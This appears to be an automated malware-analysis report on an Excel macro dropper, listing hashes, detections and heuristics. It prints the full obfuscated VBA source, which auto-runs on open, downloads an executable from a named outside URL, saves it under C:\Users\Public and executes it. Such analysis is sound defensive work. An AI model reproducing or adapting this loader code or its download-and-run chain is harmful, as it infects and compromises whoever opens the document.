Office (OOXML) malware analysis — malicious · ea17ffb8a502d013

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-15

MD5: 496f23fefc9734449ef9bb0c3506cd15 SHA-1: efcd66ced3de3f663dc7e5c39cbb49b987b121ed SHA-256: ea17ffb8a502d013a4f54038cebdc1ec3fcc82404547a83f540e76fa4d380213

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute automatically upon opening the document. It uses CreateObject to download a file from the URL "http://predatorachievement.com/sql/twcastll.exe" and saves it for execution, indicating a downloader or dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws.write tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6626 bytes
SHA-256: `8567313c3828a094651351c8f098e65774b110469614c6578006ced3055d84fc`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select owhbsbmwyszveziqzitxpmmtzktkmlmaymenujmeizdsmohyyukbuzibknbhhbkmgyxruvwqvpopjugkcvmrbkgzedcghfwhpqlo"68 74 74 70 3A 2F 2F 70 72 65 64 61 74 6F 72 61 63 68 69 65 76 65 6D 65 6E 74 2E 63 6F 6D 2F 73 71 6C 2F 74 77 63 61 73 74 6C 6C 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub owhbsbmwyszveziqzitxpmmtzktkmlmaymenujmeizdsmohyyukbuzibknbhhbkmgyxruvwqvpopjugkcvmrbkgzedcghfwhpqlo (yiwrqbxiugzypcgitmgrljywhiktqsjyhechcnqlwtxxhjzibwfezmlojzkhrerbxbqkayffwvvslaoxibrunfzvtnxcditrbvag As String) Dim tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx Range("A6:J13").Select Dim fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws Range("A6:J13").Select Dim guiiurwemuzuhfyyvqmiiscryrsoyatdyikulglqeuequmlvdavqynkorrjdyhfmavwzuenofvdnomwlfxlyfcfkywdtwirwospy Range("A6:J13").Select Set tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set guiiurwemuzuhfyyvqmiiscryrsoyatdyikulglqeuequmlvdavqynkorrjdyhfmavwzuenofvdnomwlfxlyfcfkywdtwirwospy = CreateObject(rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) mrepkwkdwiffmbzzzcoxloaybrpgiqpvmhqpscdeyxmnjlboumvjdiqyqfotgdufsksekjgwzjyocmppqbmvvgsdqsynokyucgvy = rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj(yiwrqbxiugzypcgitmgrljywhiktqsjyhechcnqlwtxxhjzibwfezmlojzkhrerbxbqkayffwvvslaoxibrunfzvtnxcditrbvag) swdkgyjtkcvdqyderzkmspnsltiplelwrqxtxcpwwytowuwpgtddvigdjlznquhfrzmabjhokoqtwzvqwsisahaijukmdcfbqnwx = rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 72 77 66 70 76 74 64 6D 6A 2e 65 78 65") iwoxmothsngjqiqxmpfjydqhzulhiocicyiaekfmotqvnavulipbhnyffhxrclyelxhraqtbjtvfnvuyzrwazbapaduxmojcvlkp = rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 72 77 66 70 76 74 64 6D 6A 2e 65 78 65") tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx.Open chr(71) + chr(69) + chr(84), mrepkwkdwiffmbzzzcoxloaybrpgiqpvmhqpscdeyxmnjlboumvjdiqyqfotgdufsksekjgwzjyocmppqbmvvgsdqsynokyucgvy, False tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx.send fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws.Type = 1 fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws.Open fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws.write tphdqziertcjlmypmxosbvrnaccnbdqqzietuoenwvezkorrkefehiexxudnxucndmjdhevysavgqscllldxyljrdgwzkqqcsqwx.responseBody fojfiglgnxhfsrcmrfprdrzaivncktoavegwbxoracefzqhtoeknbeunoixnsjwujhjnkfktqxranubrouofibyrkthtabyqgkws.savetofile swdkgyjtkcvdqyderzkmspnsltiplelwrqxtxcpwwytowuwpgtddvigdjlznquhfrzmabjhokoqtwzvqwsisahaijukmdcfbqnwx, 2 guiiurwemuzuhfyyvqmiiscryrsoyatdyikulglqeuequmlvdavqynkorrjdyhfmavwzuenofvdnomwlfxlyfcfkywdtwirwospy.Run iwoxmothsngjqiqxmpfjydqhzulhiocicyiaekfmotqvnavulipbhnyffhxrclyelxhraqtbjtvfnvuyzrwazbapaduxmojcvlkp End Sub Public Function rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj(ByVal playmglcjwaeuyxbvhgxqmbybuswdhzvwyvtxnmyrcabvyyxkqahlshdkcxroozcxehwcddivignlzccwvlmgrkersjvpukddyer As String) As String Dim rcuhnsmcmtrlzvvtcmvfucfkuitbycjnulluaezofhsxayvuyrarczwowknezkejkeqokbsymhzmkhjwnychcskvowxprvpudjnw As String Dim hhkwycevzjeparraixhrtvznedgrrejaunofofizopvesiozeomgcvdmixsuvmduadunclmcohdezuuwohncsdyzkcxqnodblaeo As String Dim naxsckrurymncvgozacwfudanvoadctzqfinkuahldhlpkorhpbkyhjtxwegvrrpfnxwnsefaulbnskdhwsoaibivpqnptlumrfc As Long For naxsckrurymncvgozacwfudanvoadctzqfinkuahldhlpkorhpbkyhjtxwegvrrpfnxwnsefaulbnskdhwsoaibivpqnptlumrfc = 1 To Len(playmglcjwaeuyxbvhgxqmbybuswdhzvwyvtxnmyrcabvyyxkqahlshdkcxroozcxehwcddivignlzccwvlmgrkersjvpukddyer)Step 3 rcuhnsmcmtrlzvvtcmvfucfkuitbycjnulluaezofhsxayvuyrarczwowknezkejkeqokbsymhzmkhjwnychcskvowxprvpudjnw = Chr$(Val("&H" & Mid$(playmglcjwaeuyxbvhgxqmbybuswdhzvwyvtxnmyrcabvyyxkqahlshdkcxroozcxehwcddivignlzccwvlmgrkersjvpukddyer, naxsckrurymncvgozacwfudanvoadctzqfinkuahldhlpkorhpbkyhjtxwegvrrpfnxwnsefaulbnskdhwsoaibivpqnptlumrfc, 2))) hhkwycevzjeparraixhrtvznedgrrejaunofofizopvesiozeomgcvdmixsuvmduadunclmcohdezuuwohncsdyzkcxqnodblaeo = hhkwycevzjeparraixhrtvznedgrrejaunofofizopvesiozeomgcvdmixsuvmduadunclmcohdezuuwohncsdyzkcxqnodblaeo & rcuhnsmcmtrlzvvtcmvfucfkuitbycjnulluaezofhsxayvuyrarczwowknezkejkeqokbsymhzmkhjwnychcskvowxprvpudjnw Next naxsckrurymncvgozacwfudanvoadctzqfinkuahldhlpkorhpbkyhjtxwegvrrpfnxwnsefaulbnskdhwsoaibivpqnptlumrfc rqdcyugflsrphremptlwsxnrspiqshasistmrjthdaolmnzqaj = hhkwycevzjeparraixhrtvznedgrrejaunofofizopvesiozeomgcvdmixsuvmduadunclmcohdezuuwohncsdyzkcxqnodblaeo End Function Attribute VB_Name = "tduuonrorsrknzsloyejwrrxw" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `a1cc6cd368b94a9249aced5cf25f32c7548749c7815437622d3b0931e7750daa`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 129 of 218 identifiers look randomly generated (e.g. 'tduuonrorsrknzsloyejwrrxw') — consistent with name-mangling obfuscation.

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